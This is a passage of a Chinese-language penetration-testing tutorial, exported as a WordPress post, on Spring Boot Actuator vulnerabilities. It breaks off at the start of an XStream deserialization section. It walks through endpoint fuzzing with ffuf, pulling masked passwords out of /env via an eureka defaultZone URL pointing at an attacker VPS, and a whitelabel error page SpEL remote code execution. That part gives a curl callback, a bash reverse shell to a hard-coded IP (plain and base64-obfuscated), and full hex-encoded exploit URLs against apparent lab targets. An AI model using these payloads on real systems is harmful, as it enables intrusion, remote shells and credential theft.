{"id":1584,"date":"2025-01-19T22:29:12","date_gmt":"2025-01-19T14:29:12","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=1584"},"modified":"2025-01-19T22:29:14","modified_gmt":"2025-01-19T14:29:14","slug":"05-springboot-%e6%bc%8f%e6%b4%9e","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/01\/19\/05-springboot-%e6%bc%8f%e6%b4%9e\/","title":{"rendered":"05.SpringBoot \u6f0f\u6d1e"},"content":{"rendered":"<h2>\u4e00\u3001SpringBoot \u7b80\u4ecb<\/h2>\n<h3>1.Spring \u6846\u67b6\u6982\u8ff0<\/h3>\n<p>Spring \u662f\u4e00\u4e2a\u5f00\u6e90\u7684 Java \u5e73\u53f0\uff0c\u5b83\u7b80\u5316\u4e86\u4f01\u4e1a\u7ea7\u5e94\u7528\u7a0b\u5e8f\u7684\u5f00\u53d1\uff0c\u63d0\u4f9b\u4e86\u4f9d\u8d56\u6ce8\u5165\u3001\u9762\u5411\u5207\u9762\u7f16\u7a0b\u3001\u6570\u636e\u8bbf\u95ee\u3001\u6d88\u606f\u4f20\u9012\u3001\u6d4b\u8bd5\u652f\u6301\u7b49\u6838\u5fc3\u529f\u80fd\u3002<\/p>\n<h3>2.Spring Boot \u4e0e Actuator<\/h3>\n<p>Spring Boot \u662f Spring \u6846\u67b6\u7684\u6269\u5c55\uff0c\u65e8\u5728\u7b80\u5316\u65b0 Spring \u5e94\u7528\u7a0b\u5e8f\u7684\u521d\u59cb\u642d\u5efa\u4ee5\u53ca\u5f00\u53d1\u8fc7\u7a0b\u3002\u5b83\u63d0\u4f9b \u4e86\u5feb\u901f\u542f\u52a8\u548c\u5fae\u670d\u52a1\u652f\u6301\u7684\u7279\u6027\u3002<br \/>\nActuator \u662f Spring Boot \u7684\u4e00\u4e2a\u91cd\u8981\u7ec4\u4ef6\uff0c\u5b83\u4e3a\u5e94\u7528\u7a0b\u5e8f\u63d0\u4f9b\u4e86\u5065\u5eb7\u68c0\u67e5\u3001\u5ea6\u91cf\u4fe1\u606f\u548c\u73af\u5883\u4fe1\u606f\u7684\u76d1\u63a7\u529f\u80fd\u3002<\/p>\n<p>Actuator \u901a\u8fc7\u66b4\u9732\u7aef\u70b9\uff08 endpoints\uff09\uff0c\u4f7f\u5f97\u5f00\u53d1\u8005\u80fd\u591f\u5b9e\u65f6\u76d1\u63a7\u548c\u7ba1\u7406\u5e94\u7528\u7a0b\u5e8f\u3002<\/p>\n<p>\u5728 Actuator \u542f\u7528\u7684\u60c5\u51b5\u4e0b\uff0c\u5982\u679c\u6ca1\u6709\u505a\u597d\u76f8\u5173\u6743\u9650\u63a7\u5236\uff0c\u975e\u6cd5\u7528\u6237\u53ef\u901a\u8fc7\u8bbf\u95ee\u9ed8\u8ba4\u7684\u6267\u884c\u5668\u7aef\u70b9 \uff08endpoints\uff09\u6765\u83b7\u53d6\u5e94\u7528\u7cfb\u7edf\u4e2d\u7684\u76d1\u63a7\u4fe1\u606f\u3002<\/p>\n<h3>3.\u5e38\u89c1\u7aef\u70b9\u4fe1\u606f<\/h3>\n<ul>\n<li>Spring Boot 1.x \u7248\u672c\u9ed8\u8ba4\u5185\u7f6e\u8def\u7531\u7684\u6839\u8def\u5f84\u4ee5 \/ \u5f00\u59cb<\/li>\n<li>Spring Boot 2.x \u7248\u672c\u5219\u7edf\u4e00\u4ee5 \/actuator \u5f00\u59cb<\/li>\n<li>\u6709\u4e9b\u7a0b\u5e8f\u5458\u4f1a\u81ea\u5b9a\u4e49 \/manage\u3001\/management \u3001 \u9879\u76ee App \u76f8\u5173\u540d\u79f0\u4e3a spring \u6839\u8def\u5f84<\/li>\n<li>Spring Boot Actuator \u9ed8\u8ba4\u7684\u5185\u7f6e\u8def\u7531\u540d\u5b57\uff0c\u5982 \/env \u6709\u65f6\u5019\u4e5f\u4f1a\u88ab\u7a0b\u5e8f\u5458\u4fee\u6539\uff0c\u6bd4\u5982\u4fee\u6539\u6210 \/appenv<\/li>\n<\/ul>\n<table>\n<thead>\n<tr>\n<th>\u8def\u5f84 \u63cf\u8ff0<\/th>\n<th><\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>\/autoconfig<\/td>\n<td>\u63d0\u4f9b\u4e86\u4e00\u4efd\u81ea\u52a8\u914d\u7f6e\u62a5\u544a\uff0c\u8bb0\u5f55\u54ea\u4e9b\u81ea\u52a8\u914d\u7f6e\u6761\u4ef6\u901a\u8fc7\u4e86\uff0c\u54ea\u4e9b\u6ca1\u901a\u8fc7<\/td>\n<\/tr>\n<tr>\n<td>\/beans<\/td>\n<td>\u63cf\u8ff0\u5e94\u7528\u7a0b\u5e8f\u4e0a\u4e0b\u6587\u91cc\u5168\u90e8\u7684Bean\uff0c\u4ee5\u53ca\u5b83\u4eec\u7684\u5173\u7cfb<\/td>\n<\/tr>\n<tr>\n<td>\/env<\/td>\n<td>\u83b7\u53d6\u5168\u90e8\u73af\u5883\u5c5e\u6027<\/td>\n<\/tr>\n<tr>\n<td>\/configprops<\/td>\n<td>\u63cf\u8ff0\u914d\u7f6e\u5c5e\u6027(\u5305\u542b\u9ed8\u8ba4\u503c)\u5982\u4f55\u6ce8\u5165Bean<\/td>\n<\/tr>\n<tr>\n<td>\/dump<\/td>\n<td>\u83b7\u53d6\u7ebf\u7a0b\u6d3b\u52a8\u7684\u5feb\u7167<\/td>\n<\/tr>\n<tr>\n<td>\/health<\/td>\n<td>\u62a5\u544a\u5e94\u7528\u7a0b\u5e8f\u7684\u5065\u5eb7\u6307\u6807\uff0c\u8fd9\u4e9b\u503c\u7531 Healthlndicator\u7684\u5b9e\u73b0\u7c7b\u63d0\u4f9b<\/td>\n<\/tr>\n<tr>\n<td>\/info<\/td>\n<td>\u83b7\u53d6\u5e94\u7528\u7a0b\u5e8f\u7684\u5b9a\u5236\u4fe1\u606f\uff0c\u8fd9\u4e9b\u4fe1\u606f\u7531info\u6253\u5934\u7684\u5c5e\u6027\u63d0\u4f9b<\/td>\n<\/tr>\n<tr>\n<td>\/mappings<\/td>\n<td>\u63cf\u8ff0\u5168\u90e8\u7684 URI \u8def\u5f84\uff0c\u4ee5\u53ca\u5b83\u4eec\u548c\u63a7\u5236\u5668(\u5305\u542b Actuator \u7aef\u70b9)\u7684\u6620\u5c04\u5173\u7cfb<\/td>\n<\/tr>\n<tr>\n<td>\/metrics<\/td>\n<td>\u62a5\u544a\u5404\u79cd\u5e94\u7528\u7a0b\u5e8f\u5ea6\u91cf\u4fe1\u606f\uff0c\u6bd4\u5982\u5185\u5b58\u7528\u91cf\u548cHTTP \u8bf7\u6c42\u8ba1\u6570<\/td>\n<\/tr>\n<tr>\n<td>\/shutdown<\/td>\n<td>\u5173\u95ed\u5e94\u7528\u7a0b\u5e8f\uff0c\u8981\u6c42 endpoints.shutdown.enabled \u8bbe\u7f6e\u4e3a true<\/td>\n<\/tr>\n<tr>\n<td>\/trace<\/td>\n<td>\u63d0\u4f9b HTTP \u8bf7\u6c42\u7684\u8ddf\u8e2a\u4fe1\u606f\uff0c\u5305\u62ec\u65f6\u95f4\u6233\u3001\u8bf7\u6c42\u5934\u7b49\u3002<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2>\u4e8c\u3001SpringBoot \u6f0f\u6d1e\u53d1\u73b0<\/h2>\n<h3>1.\u6846\u67b6\u7279\u5f81<\/h3>\n<ul>\n<li>\u5c0f\u7eff\u53f6 favicon.ico<\/li>\n<li>404 \u62a5\u9519\u9875\u9762<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250116164407.png\" alt=\"Pasted image 20250116164407.png\"><\/li>\n<\/ul>\n<h3>2.\u6f0f\u6d1e\u8bc6\u522b<\/h3>\n<p>\u4f7f\u7528spring\u7684\u6f0f\u6d1e\u626b\u63cf\u5668<\/p>\n<h2>\u4e09\u3001\u4fe1\u606f\u6cc4\u9732<\/h2>\n<h3>1.\u8def\u7531\u5730\u5740\u53ca\u63a5\u53e3\u8c03\u7528\u8be6\u60c5\u6cc4\u6f0f<\/h3>\n<p>\u5f00\u53d1\u4eba\u5458\u6ca1\u6709\u610f\u8bc6\u5230\u5730\u5740\u6cc4\u6f0f\u4f1a\u5bfc\u81f4\u5b89\u5168\u9690\u60a3\u6216\u8005\u5f00\u53d1\u73af\u5883\u5207\u6362\u4e3a\u7ebf\u4e0a\u751f\u4ea7\u73af\u5883\u65f6\uff0c\u76f8\u5173\u4eba\u5458\u6ca1\u6709\u66f4 \u6539\u914d\u7f6e\u6587\u4ef6\uff0c\u5fd8\u8bb0\u5207\u6362\u73af\u5883\u914d\u7f6e\u7b49<br \/>\n\u76f4\u63a5\u8bbf\u95ee\u4ee5\u4e0b\u4e24\u4e2a swagger \u76f8\u5173\u8def\u7531\uff0c\u9a8c\u8bc1\u6f0f\u6d1e\u662f\u5426\u5b58\u5728\uff1a<\/p>\n<pre><code>\/v2\/api-docs\n\/swagger-ui.html\n<\/code><\/pre>\n<p>\u5176\u4ed6\u4e00\u4e9b\u53ef\u80fd\u4f1a\u9047\u5230\u7684 swagger\u3001swagger codegen\u3001swagger-dubbo \u7b49\u76f8\u5173\u63a5\u53e3\u8def\u7531<\/p>\n<pre><code>\/swagger\n\/api-docs\n\/api.html\n\/swagger-ui\n\/swagger\/codes\n\/api\/index.html\n\/api\/v2\/api-docs\n\/v2\/swagger.json\n\/swagger-ui\/html\n\/distv2\/index.html\n\/swagger\/index.html\n\/sw\/swagger-ui.html\n\/api\/swagger-ui.html\n\/static\/swagger.json\n\/user\/swagger-ui.html\n\/swagger-ui\/index.html\n\/swagger-dubbo\/api-docs\n\/template\/swagger-ui.html\n\/swagger\/static\/index.html\n\/dubbo-provider\/distv2\/index.html\n\/spring-security-rest\/api\/swagger-ui.html\n\/spring-security-oauth-resource\/swagger-ui.html\n<\/code><\/pre>\n<p>\u9664\u6b64\u4e4b\u5916\uff0c\u4e0b\u9762\u7684 spring boot actuator \u76f8\u5173\u8def\u7531\u6709\u65f6\u4e5f\u4f1a\u5305\u542b(\u6216\u63a8\u6d4b\u51fa)\u4e00\u4e9b\u63a5\u53e3\u5730\u5740\u4fe1\u606f\uff0c\u4f46 \u662f\u65e0\u6cd5\u83b7\u5f97\u53c2\u6570\u76f8\u5173\u4fe1\u606f\uff1a<\/p>\n<pre><code>\/mappings\n\/metrics\n\/beans\n\/configprops\n\/actuator\/metrics\n\/actuator\/mappings\n\/actuator\/beans\n\/actuator\/configprops\n<\/code><\/pre>\n<p>\u4e00\u822c\u6765\u8bb2\uff0c\u66b4\u9732\u51fa spring boot \u5e94\u7528\u7684\u76f8\u5173\u63a5\u53e3\u548c\u4f20\u53c2\u4fe1\u606f\u5e76\u4e0d\u80fd\u7b97\u662f\u6f0f\u6d1e\uff0c\u4f46\u662f\u4ee5&quot; \u9ed8\u8ba4\u5b89\u5168&quot; \u6765\u8bb2\uff0c\u4e0d\u66b4\u9732\u51fa\u8fd9\u4e9b\u4fe1\u606f\u66f4\u52a0\u5b89\u5168\u3002<br \/>\n\u5bf9\u4e8e\u653b\u51fb\u8005\u6765\u8bb2\uff0c\u4e00\u822c\u4f1a\u4ed4\u7ec6\u5ba1\u8ba1\u66b4\u9732\u51fa\u7684\u63a5\u53e3\u4ee5\u589e\u52a0\u5bf9\u4e1a\u52a1\u7cfb\u7edf\u7684\u4e86\u89e3\uff0c\u5e76\u4f1a\u540c\u65f6\u68c0\u67e5\u5e94\u7528\u7cfb\u7edf\u662f \u5426\u5b58\u5728\u672a\u6388\u6743\u8bbf\u95ee\u3001\u8d8a\u6743\u7b49\u5176\u4ed6\u4e1a\u52a1\u7c7b\u578b\u6f0f\u6d1e\u3002<\/p>\n<h3>2.\u914d\u7f6e\u4e0d\u5f53\u800c\u66b4\u9732\u7684\u8def\u7531<\/h3>\n<p>\u4e3b\u8981\u662f\u56e0\u4e3a\u7a0b\u5e8f\u5458\u5f00\u53d1\u65f6\u6ca1\u6709\u610f\u8bc6\u5230\u66b4\u9732\u8def\u7531\u53ef\u80fd\u4f1a\u9020\u6210\u5b89\u5168\u98ce\u9669\uff0c\u6216\u8005\u6ca1\u6709\u6309\u7167\u6807\u51c6\u6d41\u7a0b\u5f00\u53d1\uff0c\u5fd8 \u8bb0\u4e0a\u7ebf\u65f6\u9700\u8981\u4fee\u6539\/\u5207\u6362\u751f\u4ea7\u73af\u5883\u7684\u914d\u7f6e<\/p>\n<h4>1\uff09\u53ef\u80fd\u56e0\u4e3a\u914d\u7f6e\u4e0d\u5f53\u800c\u66b4\u9732\u7684\u9ed8\u8ba4\u5185\u7f6e\u8def\u7531<\/h4>\n<p>\u5bfb\u627e\u6f0f\u6d1e\u6bd4\u8f83\u91cd\u8981\u63a5\u53e3\u7684\u6709\uff1a<\/p>\n<ul>\n<li>\/env\u3001\/actuator\/env<br \/>\nGET \u8bf7\u6c42 \/env \u4f1a\u76f4\u63a5\u6cc4\u9732\u73af\u5883\u53d8\u91cf\u3001\u5185\u7f51\u5730\u5740\u3001\u914d\u7f6e\u4e2d\u7684\u7528\u6237\u540d\u7b49\u4fe1\u606f\uff1b\u5f53\u7a0b\u5e8f\u5458\u7684\u5c5e\u6027\u540d\u547d\u540d\u4e0d \u89c4\u8303\uff0c\u4f8b\u5982 password \u5199\u6210 psasword\u3001pwd \u65f6\uff0c\u4f1a\u6cc4\u9732\u5bc6\u7801\u660e\u6587\uff1b<br \/>\n\u540c\u65f6\u6709\u4e00\u5b9a\u6982\u7387\u53ef\u4ee5\u901a\u8fc7 POST \u8bf7\u6c42 \/env \u63a5\u53e3\u8bbe\u7f6e\u4e00\u4e9b\u5c5e\u6027\uff0c\u95f4\u63a5\u89e6\u53d1\u76f8\u5173 RCE \u6f0f\u6d1e\uff1b\u540c\u65f6\u6709\u6982\u7387 \u83b7\u5f97\u661f\u53f7\u906e\u63a9\u7684\u5bc6\u7801\u3001\u5bc6\u94a5\u7b49\u91cd\u8981\u9690\u79c1\u4fe1\u606f\u7684\u660e\u6587\u3002<\/li>\n<li>\/refresh\u3001\/actuator\/refresh<br \/>\nPOST \u8bf7\u6c42 \/env \u63a5\u53e3\u8bbe\u7f6e\u5c5e\u6027\u540e\uff0c\u53ef\u540c\u65f6\u914d\u5408 POST \u8bf7\u6c42\/refresh \u63a5\u53e3\u5237\u65b0\u5c5e\u6027\u53d8\u91cf\u6765\u89e6\u53d1\u76f8\u5173RCE \u6f0f\u6d1e\u3002<\/li>\n<li>\/restart\u3001\/actuator\/restart<br \/>\n\u66b4\u9732\u51fa\u6b64\u63a5\u53e3\u7684\u60c5\u51b5\u8f83\u5c11\uff1b\u53ef\u4ee5\u914d\u5408 POST\u8bf7\u6c42\/env\u63a5\u53e3\u8bbe\u7f6e\u5c5e\u6027\u540e\uff0c\u518d POST \u8bf7\u6c42 \/restart \u63a5\u53e3\u91cd\u542f\u5e94\u7528\u6765\u89e6\u53d1\u76f8\u5173 RCE \u6f0f\u6d1e\u3002<\/li>\n<li>\/jolokia\u3001\/actuator\/jolokia<br \/>\n\u53ef\u4ee5\u901a\u8fc7\/jolokia\/list\u63a5\u53e3\u5bfb\u627e\u53ef\u4ee5\u5229\u7528\u7684 MBean\uff0c\u95f4\u63a5\u89e6\u53d1\u76f8\u5173 RCE \u6f0f\u6d1e\u3001\u83b7\u5f97\u661f\u53f7\u906e\u63a9\u7684 \u91cd\u8981\u9690\u79c1\u4fe1\u606f\u7684\u660e\u6587\u7b49\u3002<\/li>\n<li>\/trace\u3001\/actuator\/httptrace<br \/>\n\u4e00\u4e9b http \u8bf7\u6c42\u5305\u8bbf\u95ee\u8ddf\u8e2a\u4fe1\u606f\uff0c\u6709\u53ef\u80fd\u5728\u5176\u4e2d\u53d1\u73b0\u5185\u7f51\u5e94\u7528\u7cfb\u7edf\u7684\u4e00\u4e9b\u8bf7\u6c42\u4fe1\u606f\u8be6\u60c5\uff1b\u4ee5\u53ca\u6709\u6548\u7528\u6237 \u6216\u7ba1\u7406\u5458\u7684 cookie\u3001 jwt token \u7b49\u4fe1\u606f\u3002<\/li>\n<\/ul>\n<h4>2\uff09\u5feb\u901f fuzz \u5e38\u89c1\u7aef\u70b9\u63a5\u53e3<\/h4>\n<p>ffuf\u5de5\u5177<\/p>\n<pre><code>ffuf -w spring-boot.txt -u http:\/\/c4333238ace8.target.yijinglab.com\/FUZZ -mc 200\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250116161113.png\" alt=\"Pasted image 20250116161113.png\"><\/p>\n<h4>3\uff09\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587<\/h4>\n<p>\u8bbf\u95ee \/env \u63a5\u53e3\u65f6\uff0c spring actuator \u4f1a\u5c06\u4e00\u4e9b\u5e26\u6709\u654f\u611f\u5173\u952e\u8bcd(\u5982password\u3001secret\uff09\u7684\u5c5e\u6027\u540d\u5bf9\u5e94\u7684\u5c5e\u6027\u503c\u7528 * \u53f7\u66ff\u6362\u8fbe\u5230\u8131\u654f\u7684\u6548\u679c<\/p>\n<h5>\uff081\uff09\u5229\u7528\u6761\u4ef6<\/h5>\n<ul>\n<li>\u53ef\u4ee5 GET \u8bf7\u6c42\u76ee\u6807\u7f51\u7ad9\u7684\u00a0\/env<\/li>\n<li>\u53ef\u4ee5 POST \u8bf7\u6c42\u76ee\u6807\u7f51\u7ad9\u7684\u00a0\/env<\/li>\n<li>\u53ef\u4ee5 POST \u8bf7\u6c42\u76ee\u6807\u7f51\u7ad9\u7684\u00a0\/refresh\u00a0\u63a5\u53e3\u5237\u65b0\u914d\u7f6e\uff08\u5b58\u5728\u00a0spring-boot-starter-actuator\u00a0\u4f9d \u8d56\uff09<\/li>\n<li>\u76ee\u6807\u4f7f\u7528\u4e86\u00a0spring-cloud-starter-netflix-eureka-client\u00a0\u4f9d\u8d56<\/li>\n<li>\u76ee\u6807\u53ef\u4ee5\u8bf7\u6c42\u653b\u51fb\u8005\u7684\u670d\u52a1\u5668\uff08\u8bf7\u6c42\u53ef\u51fa\u5916\u7f51\uff09<\/li>\n<\/ul>\n<h5>\uff082\uff09\u5229\u7528\u65b9\u6cd5<\/h5>\n<ol>\n<li>\u627e\u5230\u60f3\u8981\u83b7\u53d6\u7684\u5c5e\u6027\u540d<br \/>\nGET \u8bf7\u6c42\u76ee\u6807\u7f51\u7ad9\u7684\u00a0 \/env\u00a0\u6216\u00a0 \/actuator\/env\u00a0\u63a5\u53e3\uff0c\u641c\u7d22\u00a0 ******\u00a0\u5173\u952e\u8bcd\uff0c\u627e\u5230\u60f3\u8981\u83b7\u53d6\u7684\u88ab\u661f\u53f7 * \u906e\u63a9\u7684\u5c5e\u6027\u503c\u5bf9\u5e94\u7684\u5c5e\u6027\u540d\u3002<\/li>\n<\/ol>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250116162102.png\" alt=\"Pasted image 20250116162102.png\"><\/p>\n<ol start=\"2\">\n<li>\n<p>\u4f7f\u7528 nc \u76d1\u542c HTTP \u8bf7\u6c42<\/p>\n<\/li>\n<li>\n<p>\u8bbe\u7f6e eureka.client.serviceUrl.defaultZone \u5c5e\u6027<\/p>\n<\/li>\n<\/ol>\n<pre><code>POST \/env\nContent-Type: application\/x-www-form-urlencoded\n\neureka.client.serviceUrl.defaultZone=http:\/\/value:${security.user.password}@your-vps-ip\n<\/code><\/pre>\n<p>\u4fee\u6539 security.user.password\u00a0\u66ff\u6362\u4e3a\u60f3\u8981\u83b7\u53d6\u7684\u5bf9\u5e94\u7684\u661f\u53f7 * \u906e\u63a9\u7684\u5c5e\u6027\u540d\uff1b<br \/>\n\u4fee\u6539 your-vps-ip\u00a0\u66ff\u6362\u4e3a\u81ea\u5df1\u5916\u7f51\u670d\u52a1\u5668\u7684\u516c\u7f51 IP \u5730\u5740\u3002<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250116164240.png\" alt=\"Pasted image 20250116164240.png\"><\/p>\n<p>\u6b64\u65f6\u8fdb\u884cbase64\u89e3\u7801\u5373\u53ef\u83b7\u53d6\u76ee\u6807\u661f\u53f7 * \u8131\u654f\u524d\u7684\u5c5e\u6027\u503c\u660e\u6587<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250116172939.png\" alt=\"Pasted image 20250116172939.png\"><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250116164631.png\" alt=\"Pasted image 20250116164631.png\"><\/p>\n<ol start=\"4\">\n<li>\u5237\u65b0\u914d\u7f6e<\/li>\n<\/ol>\n<pre><code>POST \/refresh\nContent-Type: application\/x-www-form-urlencoded\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250116173224.png\" alt=\"Pasted image 20250116173224.png\"><\/p>\n<h2>\u56db\u3001\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c<\/h2>\n<h3>1.whitelabel error page SpEL RCE<\/h3>\n<h4>1\uff09\u5229\u7528\u6761\u4ef6<\/h4>\n<ul>\n<li>spring boot 1.1.0-1.1.12<\/li>\n<li>spring boot 1.2.0-1.2.7<\/li>\n<li>spring boot 1.3.0<\/li>\n<li>\u81f3\u5c11\u77e5\u9053\u4e00\u4e2a\u89e6\u53d1 springboot \u9ed8\u8ba4\u9519\u8bef\u9875\u9762\u7684\u63a5\u53e3\u53ca\u53c2\u6570\u540d<\/li>\n<\/ul>\n<h4>2\uff09\u5229\u7528\u65b9\u6cd5<\/h4>\n<h5>\uff081\uff09\u627e\u5230\u4e00\u4e2a\u6b63\u5e38\u4f20\u53c2\u5904<\/h5>\n<p>\u6bd4\u5982\u53d1\u73b0\u8bbf\u95ee \/article?id=xxx \uff0c\u9875\u9762\u4f1a\u62a5\u72b6\u6001\u7801\u4e3a 500 \u7684\u9519\u8bef\uff1a Whitelabel Error Page\uff0c\u5219 \u540e\u7eed payload \u90fd\u5c06\u4f1a\u5728\u53c2\u6570 id \u5904\u5c1d\u8bd5\u3002<\/p>\n<h5>\uff082\uff09\u6267\u884c SpEL \u8868\u8fbe\u5f0f\uff0c\u6d4b\u8bd5\u6f0f\u6d1e<\/h5>\n<p>SpEL \u8868\u8fbe\u5f0f\uff1a<br \/>\n\u00a0Spring \u6846\u67b6\u4e2d\u7684\u4e00\u79cd\u5f3a\u5927\u7684\u8868\u8fbe\u5f0f\u8bed\u8a00\uff0c\u7528\u4e8e\u5728\u8fd0\u884c\u65f6\u67e5\u8be2\u548c\u64cd\u4f5c\u5bf9\u8c61\u56fe\u3002<br \/>\nSpEL \u8868\u8fbe\u5f0f\u4ee5\u00a0<code>#{ }<\/code>\u00a0\u5305\u56f4<\/p>\n<p>\u8f93\u5165 <code>\/article?id=${7*7}<\/code> \uff0c\u5982\u679c\u53d1\u73b0\u62a5\u9519\u9875\u9762\u5c06<code>7*7<\/code> \u7684\u503c 49 \u8ba1\u7b97\u51fa\u6765\u663e\u793a\u5728\u62a5\u9519\u9875\u9762\u4e0a\uff0c\u90a3\u4e48 \u57fa\u672c\u53ef\u4ee5\u786e\u5b9a\u76ee\u6807\u5b58\u5728 SpEL \u8868\u8fbe\u5f0f\u6ce8\u5165\u6f0f\u6d1e\u3002<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250116175115.png\" alt=\"Pasted image 20250116175115.png\"><\/p>\n<h5>\uff083\uff09\u5b57\u7b26\u4e32\u8f6c java \u5b57\u8282\u5f62\u5f0f<\/h5>\n<p>\u7531\u5b57\u7b26\u4e32\u683c\u5f0f\u8f6c\u6362\u6210 0x** java \u5b57\u8282\u5f62\u5f0f\uff0c\u65b9\u4fbf\u6267\u884c\u4efb\u610f\u4ee3\u7801\uff1a<\/p>\n<pre><code># coding: utf-8\n\nresult = &quot;&quot;\ntarget = 'touch \/tmp\/mingy'\nfor x in target:\n    result += hex(ord(x)) + &quot;,&quot;\nprint(result.rstrip(','))\n<\/code><\/pre>\n<h5>\uff084\uff09\u6267\u884c\u547d\u4ee4<\/h5>\n<ul>\n<li>\u6267\u884ccurl\u547d\u4ee4<\/li>\n<\/ul>\n<pre><code>curl snth.callback.red\n<\/code><\/pre>\n<p><a href=\"https:\/\/gchq.github.io\/CyberChef\/#recipe=To_Hex('0x%20with%20comma',0)\">To Hex &#8211; CyberChef<\/a><\/p>\n<pre><code>http:\/\/b3db8223d4f5.target.yijinglab.com\/article?id=${T(java.lang.Runtime).getRuntime(). exec(new%20String(new%20byte[]{0x63,0x75,0x72,0x6c,0x20,0x73,0x6e,0x74,0x68,0x2e,0x63,0x61,0x6c,0x6c,0x62,0x61,0x63,0x6b,0x2e,0x72,0x65,0x64}))}\n<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250116181332.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250116181332.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20250116181332.png\"><\/div><br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250116181348.png\" alt=\"Pasted image 20250116181348.png\"><\/p>\n<ul>\n<li>\n<p>\u5728 vps \u4e0a\u4f7f\u7528 nc \u76d1\u542c\u7aef\u53e3<\/p>\n<\/li>\n<li>\n<p>\u6784\u9020 bash \u53cd\u5f39 shell \u547d\u4ee4<\/p>\n<\/li>\n<\/ul>\n<pre><code>bash -i &gt;&amp; \/dev\/tcp\/120.79.150.243\/7777 0&gt;&amp;1\n<\/code><\/pre>\n<pre><code>bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMTUwLjI0My83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250116182421.png\" alt=\"Pasted image 20250116182421.png\"><\/p>\n<ul>\n<li>\u53d1\u9001\u53cd\u5f39 shell \u8bf7\u6c42<\/li>\n<\/ul>\n<pre><code>http:\/\/b3db8223d4f5.target.yijinglab.com\/article?id=${T(java.lang.Runtime).getRuntime().%20exec(new%20String(new%20byte[]{0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x78,0x4d,0x6a,0x41,0x75,0x4e,0x7a,0x6b,0x75,0x4d,0x54,0x55,0x77,0x4c,0x6a,0x49,0x30,0x4d,0x79,0x38,0x33,0x4e,0x7a,0x63,0x33,0x49,0x44,0x41,0x2b,0x4a,0x6a,0x45,0x3d,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x65,0x36,0x34,0x2c,0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x2c,0x2d,0x69,0x7d}))}\n<\/code><\/pre>\n<ul>\n<li>\u5f97\u5230\u53cd\u5f39\u56de\u7684 shell<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250116182533.png\" alt=\"Pasted image 20250116182533.png\"><\/li>\n<\/ul>\n<h4>3\uff09\u6f0f\u6d1e\u539f\u7406<\/h4>\n<ol>\n<li>spring boot \u5904\u7406\u53c2\u6570\u503c\u51fa\u9519\uff0c\u6d41\u7a0b\u8fdb\u5165 org.springframework.util.PropertyPlaceholderHelper \u7c7b\u4e2d<\/li>\n<li>\u6b64\u65f6 URL \u4e2d\u7684\u53c2\u6570\u503c\u4f1a\u7528 parseStringValue \u65b9\u6cd5\u8fdb\u884c\u9012\u5f52\u89e3\u6790<\/li>\n<li>\u5176\u4e2d ${} \u5305\u56f4\u7684\u5185\u5bb9\u90fd\u4f1a\u88ab org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration \u7c7b\u7684 resolvePlaceholder \u65b9\u6cd5\u5f53\u4f5c SpEL \u8868\u8fbe\u5f0f\u88ab\u89e3\u6790\u6267\u884c\uff0c\u9020\u6210 RCE \u6f0f\u6d1e<\/li>\n<\/ol>\n<h3>2.eureka xstream deserialization 